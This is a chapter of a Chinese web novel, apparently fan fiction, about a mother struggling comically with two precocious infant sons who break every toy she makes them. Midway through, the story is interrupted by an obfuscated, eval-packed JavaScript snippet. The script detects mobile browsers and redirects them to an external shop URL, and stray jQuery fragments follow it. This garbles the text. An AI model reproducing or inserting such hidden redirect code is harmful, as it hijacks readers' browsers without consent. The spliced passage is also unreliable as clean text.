宿观音最近发现一个严重的问题。
她家这两个崽，好像不太对劲。
不是那种“不对劲”的不对劲，是那种——明明才一个多月，怎么感觉像养了两个三四个月的小祖宗？
她决定认真观察一下。
第一天早上。
她坐在床边，拿出那本从空间里翻出来的《婴儿发育指南》，一边看一边对照两个正在地上爬的崽。
书上说：一个多月的宝宝，每天睡16-20小时。
她看看两个崽——昨天睡了多久？早上醒了一个时辰，玩累了睡半个时辰，醒来又玩一个时辰，再睡半个时辰……加起来大概……她算了一下，也就睡十二三个小时。
剩下的时候都在干嘛？
都在搞破坏。
书上说：醒着的时间短，会追视人脸、听声音。
她看看宿傩——醒着的时候确实在追视，但追的不是人脸，是她手里正在削的木块。那双亮晶晶的眼睛跟着她的手转，转得她心里发毛，总觉得这小崽子在盘算什么。
宿昳倒是不追视——他观察。那双黑漆漆的眼睛慢慢移动，把整个树屋扫一遍，扫到她脸上的时候，会停一下，像是在确认她在不在，然后继续扫。
这叫“追视人脸”？
这叫巡视领地。
书上说：会哼哼、蹬腿，吃奶频繁。
她看看宿傩——哼哼？不，他“啊啊”，又急又亮，像在吵架。蹬腿？他蹬，但不是那种无意识的蹬，是有目标的蹬——蹬襁褓，蹬床板，蹬一切能蹬的东西。吃奶频繁？倒是挺频繁的，但吃完不睡，继续“啊啊”。
宿昳——不哼哼，偶尔“啊”一声，很轻，像在提醒。蹬腿？他蹬得少，更多时候是研究——研究自己的手，研究奶嘴，研究一切能摸到的东西。
书上说：开始会无意识笑。
她看看宿傩——笑？他天天笑，但不是无意识，是有意识。看到好吃的笑，看到好玩的笑，看到老妈回来笑，看到哥哥也笑。那笑容灿烂得像太阳，每次笑得她心都化了，然后下一秒就开始捣乱。
宿昳——不常笑，但眼睛会弯。那种弯，比笑还让人招架不住。
书上说：还不会翻身。
她看看两个崽——翻身？他们早就不是翻身的问题了，是会爬——不对，是会蹭。会滚。会用各种方式从一个地方挪到另一个地方。会从婴儿床里越狱。会爬到阳台上看风景。
这叫还不会翻身？
这叫已经准备起飞了。
书上说：需要多抱多安抚。
她看看两个崽——抱是要抱的，但不让抱太久，抱一会儿就要下去玩。安抚？安抚什么？他们每天精力旺盛得像两只小野兽，需要安抚的是她这个当妈的。
宿观音合上书，沉默了很久。
然后她低头看着地上两个正在研究柴火堆的崽。
“你们俩，”她说，“是不是偷偷吃激素了？”
宿傩抬起头，看着她，咧开嘴笑了。
那笑容，灿烂得理直气壮。
宿昳也抬起头，看着她，眨眨眼睛。
那双黑漆漆的眼睛里，像是在说：激素是什么？
宿观音深吸一口气。
行。
不纠结了。
接受现实。
她家这两个崽，就是比普通婴儿聪明。
不是那种“天才宝宝”的聪明，是那种“再不管就要把家拆了”的聪明。
她站起来，走到储物区，拿出昨天刚做好的东西。
木块。
一小堆木块，方方的，圆圆的，大大小小，有十几个。
是她用木头削的，专门给两个崽玩的——书上说，这个月龄的宝宝可以开始接触一些安全的玩具，锻炼抓握和手眼协调。
她蹲下来，把木块放在地上。
“崽，看，妈给你们做的玩具。”
两个小团子爬过来，看着那堆木块。
宿傩眼睛亮了。
他伸手，抓起一块方的，拿在手里看了看。
然后他张开嘴，想塞进去。
“不许啃！”宿观音眼疾手快，把木块抢过来，“这是玩的，不是吃的。”
宿傩愣了一下，看着她。
那表情，像是在说：不是吃的你做这么小干嘛？
宿观音把木块放回去，又拿起一块圆的，示范给他看。
“你看，这样滚——咕噜噜——好玩吗？”
木块滚出去，撞到床腿，停下来。
宿傩看着那个木块，眨眨眼睛。
然后他也抓起一块，学着老妈的样子，往前一推。
木块滚出去，滚了两下，歪了，停下来。
他又抓起一块，又推。
这次滚得远一点。
他眼睛亮了。
开始一个接一个地推。
推推推，推推推。
木块滚得到处都是。
宿昳没有推。
他拿起一块方的，翻来覆去地看。
然后又拿起一块圆的，对比着看。
看了一会儿，他把方的放在地上，把圆的放在方的上面。
圆的不稳，滚下来。
他又放上去，又滚下来。
他皱起小眉头，开始研究。
宿观音在旁边看着，心里有点得意。
看，这不是挺乖的嘛，玩得多认真——
下一秒。
宿傩抓起一块木块，用力一扔。
木块飞出去，“啪”地砸在墙上，弹回来，落在兽皮上。
他“咯咯”笑起来，又抓起一块，扔。
“啪！”
又一块。
“啪！啪！啪！”
木块满天飞。
宿观音：“…………”
她站起来，想阻止他。
刚站起来，脚下一滑——踩到一块滚过来的木块，差点摔倒。
她稳住身体，深吸一口气。
“宿傩！”
粉色小团子停下来，看着她。
手里还举着一块木块，正准备扔。
那表情，无辜得像只小兔子。
宿观音指着那些散落一地的木块，“这是玩的，不是扔的！”
宿傩眨眨眼睛，看看手里的木块，又看看地上的木块，又看看她。
然后他把手里的木块轻轻放在地上。
特别轻，特别乖。
然后咧开嘴笑了。
像是在说：我没扔，我放了。
宿观音看着他那个笑容，一口气堵在胸口，上不去下不来。
她深吸一口气，又深吸一口气。
然后蹲下来，开始捡木块。
刚捡了几块，旁边传来“咔嚓”一声。
她转过头。
宿昳正拿着两块木块，对敲。
“咔嚓。咔嚓。”
他敲一下，听一下，又敲一下。
像是在研究声音。
宿观音看着他，心里稍微安慰了一点。
好歹有一个在正常玩——
“咔嚓。”
又一声。
她低头一看，她刚做好的那块最圆的木块，裂了。
从中间裂开一条缝。
宿昳拿着那两半裂开的木块，抬起头，看着她。
那双黑漆漆的眼睛里，像是在说：它自己裂的。
宿观音：“…………”
她看着那两半木块，沉默了三秒。
然后她站起来。
走到储物区。
拿出另一个东西。
石头。
一堆小石头，是她从山涧里捡来的，圆圆的，滑滑的，比木头结实多了。
她蹲下来，把石头放在地上。
“木头不行是吧？”她说，“那玩石头。”
“这次不许扔，不许敲，不许——”
她还没说完，宿傩已经抓起一块石头，扔出去了。
“咚。”
石头砸在地上，弹了两下，停下来。
他“咯咯”笑起来。
宿观音：“…………”
她走过去，把石头捡回来，放在他面前。
“不许扔。”
宿傩看着她，眨眨眼睛。
然后他又抓起那块石头，这次没扔，放在嘴边舔了舔。
舔完，皱起小眉头。
像是在说：不好吃。
宿观音看着他那个表情，又想气又想笑。
“当然不好吃，”她说，“石头怎么能吃？”
宿傩不听，又舔了舔。
还是不好吃。
他放下石头，开始研究别的。
宿昳那边，已经拿起两块石头，对敲了。
“咚。咚。”
声音比木头沉闷一点。
他敲了几下，又拿起另一块，换着敲。
像是在比较声音的不同。
宿观音看着他，心里默默记下。
这崽子，以后怕不是要搞音乐。
玩了一会儿，两个小团子都累了。
并排躺在地上，眯着眼睛。
石头散落一地。
有几块上面还沾着宿傩的口水。
宿观音坐在旁边，看着他们。
看着这个一片狼藉的树屋。
看着那堆被扔得到处都是的石头。
看着那两半裂开的木块。
她忽然觉得很累。
不是身体上的累，是那种——心累。
每天早上醒来，就要开始和这两个小崽子斗智斗勇。
吃饭要斗——抢勺子，抢碗，抢一切能抢的东西。
玩要斗——不许扔，不许敲，不许啃，不许把东西弄坏。
睡觉要斗——不肯睡，睡醒了就闹，闹够了又开始下一轮。
洗澡要斗——拍水，乱动，把水溅得到处都是。
换衣服要斗——挣来挣去，像在和衣服打架。
她感觉自己不是在养孩子，是在打仗。
每天都是新的战役。
每天都有新的战况。
每天都有新的——被她家这两个小崽子打败的战绩。
她靠在墙上，看着天花板。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17265108|198079||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>忽然想起一句老话。
生孩子干什么？
生出来气自己吗？
但下一秒，宿傩翻了个身，蹭到她脚边，把小脸贴在她腿上。
眯着眼睛，嘴里“啊啊”两声，像是在说梦话。
宿昳也翻了个身，滚到她旁边，小手伸过来，抓住她的衣角。
两个小团子，贴着她，睡着了。
呼吸均匀。
小身子温热。
她低头看着他们。
看了很久很久。
然后她伸出手，轻轻摸了摸两个小脑袋。
“行吧，”她轻声说，“虽然能把妈气死。”
“但还是……挺可爱的。”
她靠着墙，也闭上眼睛。
石头散落一地。
木块裂成两半。
树屋里一片狼藉。
但三个人的呼吸，慢慢变得同步。
窗外，阳光正好。
这是平安京的秋天。
一个多月的崽，三个月的心眼。
当妈的，每天都在崩溃边缘反复横跳。
但每次看到他们睡着的样子。
又觉得。
值了。
第二天。
宿观音学聪明了。
她不做玩具了。
让他们玩别的。
比如——奶嘴棒。
两个小团子各拿一根，啃得专心致志。
咔嚓咔嚓。
咔嚓咔嚓。
树屋里一片祥和。
宿观音坐在摇椅上，晃着，看着他们。
心里得意。
看，这不就乖了——
咔嚓。
她低头一看。
宿傩手里的奶嘴棒，断了。
脆骨从中间裂开，断成两截。
他拿着那两截，愣了一下。
然后他抬起头，看着老妈。
那表情，像是在说：它自己断的。
宿观音：“…………”
她深吸一口气。
又深吸一口气。
再深吸一口气。
然后她站起来。
走过去。
拿起那两截断掉的奶嘴棒。
看了看。
又看了看宿傩那张无辜的小脸。
“你咬断的？”
宿傩眨眨眼睛。
然后咧开嘴笑了。
那个笑容，灿烂得像是立了功。
宿观音看着那个笑容。
忽然觉得很无力。
不是那种想发火的无力。
是那种——算了，就这样吧，反正也打不过他的——无力。
她把断掉的奶嘴棒收起来，又拿出两根新的。
递给宿傩一根。
“这次不许咬断。”
宿傩接过来，塞进嘴里。
咔嚓咔嚓。
啃得专心致志。
宿观音又递给宿昶一根。
黑色小团子接过来，没有立刻啃。
他先看了看弟弟那根，又看了看自己这根。
然后他开始啃。
但啃得很慢，很轻。
像是在控制力度。
宿观音看着他那副认真的小模样，忽然有点感动。
这崽子，是在吸取弟弟的教训吗？
是在控制自己不把奶嘴咬断吗？
真乖——
咔嚓。
她低头一看。
宿昳手里的奶嘴棒，也断了。
他拿着那两截，抬起头，看着她。
那双黑漆漆的眼睛里，像是在说：我明明很轻了，它还是断了。
宿观音：“…………”
她看看左边这个断了奶嘴的粉色团子。
又看看右边这个也断了奶嘴的黑色团子。
再看看手里这两根新拿出来的、还没来得及递出去的备用奶嘴。
沉默了很久。
然后她坐下来。
把两根备用奶嘴放在地上。
两个小团子立刻爬过来，各拿一根，塞进嘴里。
咔嚓咔嚓。
咔嚓咔嚓。
啃得比刚才更欢了。
宿观音看着他们。
看着那些断掉的奶嘴。
看着自己这个乱糟糟的树屋。
看着这两个精力旺盛、永远在搞破坏的小崽子。
忽然笑了。
不是苦笑。
是真的笑。
笑着笑着，眼泪都出来了。
“你们两个，”她说，“妈迟早被你们气死。”
两个小团子听不懂，继续啃。
咔嚓咔嚓。
咔嚓咔嚓。
树屋里，一片祥和——不对，一片咔嚓声。
她靠在摇椅上，晃着。
听着那些咔嚓声。
忽然觉得，这样也挺好。
虽然每天都要斗智斗勇。
虽然每天都在崩溃边缘反复横跳。
虽然有时候真的气得想上吊——可惜上吊也没力气。